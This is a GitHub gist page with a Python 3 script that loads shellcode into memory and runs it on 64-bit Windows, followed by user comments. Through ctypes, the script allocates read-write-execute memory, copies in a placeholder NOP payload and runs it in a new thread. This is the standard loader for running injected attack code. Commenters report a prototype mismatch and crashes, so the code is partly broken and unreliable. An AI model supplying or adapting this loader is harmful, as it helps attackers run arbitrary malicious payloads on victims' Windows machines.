Skip to content

Instantly share code, notes, and snippets.

@peewpw
Created May 12, 2020 16:03
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save peewpw/8054a64eb4b5cd007a8431a71d698dc3 to your computer and use it in GitHub Desktop.
Save peewpw/8054a64eb4b5cd007a8431a71d698dc3 to your computer and use it in GitHub Desktop.
64 bit Python3 compatible shellcode runner
# 64 bit compatible shellcode launcher
#
# The versions of this I've attempted to use appear to only work in 32bit Python (at least for 3.7-8).
# Hence why this was neede to solve a problem.
#
# based on work from:
# http://www.debasish.in/2012/04/execute-shellcode-using-python.html
# https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/
# https://stackoverflow.com/a/61258392
#
# stuck together by: @peewpw
import ctypes
scbytes = b'\x90\x90'
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ctypes.windll.kernel32.RtlCopyMemory.argtypes = ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t )
ctypes.windll.kernel32.CreateThread.argtypes = ( ctypes.c_int, ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.c_int, ctypes.POINTER(ctypes.c_int) )
space = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(scbytes)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
buff = ( ctypes.c_char * len(scbytes) ).from_buffer_copy( scbytes )
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(space),buff,ctypes.c_int(len(scbytes)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_void_p(space),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(handle, -1);
@kartone
Copy link

kartone commented Jun 8, 2021

Why you prototype RtlCopyMemory and use RtlMoveMemory? Is it a typo?

@gpillot
Copy link

gpillot commented Aug 7, 2021

thanks dude!

@xp4xbox
Copy link

xp4xbox commented Jan 7, 2022

Its crashing everytime I try to use it

@forceedge01
Copy link

forceedge01 commented Aug 14, 2023

Getting this:

AttributeError: 'str' object has no attribute 'c_void_p'

Python 3.11

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment